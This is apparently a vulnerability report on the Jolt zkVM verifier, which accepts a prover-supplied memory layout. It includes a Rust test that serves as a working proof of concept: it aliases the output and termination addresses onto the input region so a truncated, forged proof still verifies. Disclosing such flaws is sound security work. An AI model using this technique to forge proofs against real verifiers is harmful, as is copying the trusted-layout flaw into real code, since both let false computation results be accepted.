Prover can use arbitrary memory layout

[Merricx]

The Jolt verifier uses memory address of program I/O provided from the proof instead of constructing themselves.
This allows malicious prover to be able to set the memory address of the output, panic, or termination bit to the same address as the inputs, for example, to fake these values.

It can also bypass #482 since the termination bit can be easily set to true via inputs.

This attack can be reproduced in the modified truncated_trace test below:

    #[test]
    fn truncated_trace() {
        let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
        let mut program = host::Program::new("fibonacci-guest");
        program.set_input(&1u8); // change input to 1 so that termination bit equal true
        let (bytecode, memory_init) = program.decode();
        let (mut io_device, mut trace) = program.trace();
        trace.truncate(100);
        // change the output to the same as input to show that we can also forge the output value
        io_device.outputs[0] = 1;
        drop(artifact_guard);

        // change memory address of output & termination bit to the same address as input
        io_device.memory_layout.output_start = io_device.memory_layout.input_start;
        io_device.memory_layout.output_end = io_device.memory_layout.input_end;
        io_device.memory_layout.termination = io_device.memory_layout.input_start;

        let preprocessing =
            RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
        let (proof, commitments, debug_info) =
            <RV32IJoltVM as Jolt<Fr, HyperKZG<Bn254>, C, M>>::prove(
                io_device,
                trace,
                preprocessing.clone(),
            );
        let verification_result =
            RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
        assert!(
            verification_result.is_ok(),
            "Verification failed with error: {:?}",
            verification_result.err()
        );
    }

Run the test and it should pass the verification.

cargo test --package jolt-core --lib -- jolt::vm::rv32i_vm::tests::truncated_trace --exact --show-output